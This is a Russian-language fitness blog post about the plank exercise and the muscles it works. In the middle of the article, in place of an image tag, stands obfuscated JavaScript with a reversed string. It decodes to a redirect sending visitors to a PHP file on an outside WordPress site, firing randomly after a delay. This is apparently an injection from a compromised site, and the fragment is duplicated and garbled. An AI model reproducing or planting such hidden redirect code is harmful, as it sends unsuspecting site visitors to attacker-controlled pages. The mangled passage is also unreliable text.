Самое эффективное упражнение для стройного тела

Вас ждет всего одно упражнение, которое по эффективности не уступает целому комплексу.

Многофункциональное упражнение планка сделает вашу фигуру стройной, а пресс рельефным!

Планка давно стала самым популярным упражнением для прокачивания кубиков пресса, но во время её выполнения так же отлично задействованы мышцы спицы и ягодицы, можно заметить как сильно напрягаются руки и плечи. На самом деле, если правильно выполнять, то будет напрягаться абсолютно всё тело.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toj-nogoj.jpg» alt=»» width=»620″ height=»350″>

 

Кроме того, Вам не нужно ходить в тренажерный зал, если у Вас появилось желание иметь красивый рельефный животик.

Благодаря этому, действительно, чудо- упражнению Вы отлично справитесь в домашних условиях, главное выполнять его ежедневно.

Упражнение планка — одно из лучших для пресса. И не только для него. Оно помогает отлично прорабатывать мышцы плечевого пояса, спины, бедер и ягодиц.

Мы предлагаем 5 вариантов этого чудо-упражнения. Смотрим видео и повторяем!

Впереди вас ждет еще много интересных упражнений! Попробуйте делать упражнение планка хотя бы несколько раз в неделю, и вы почувствуете всю его мощь.

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector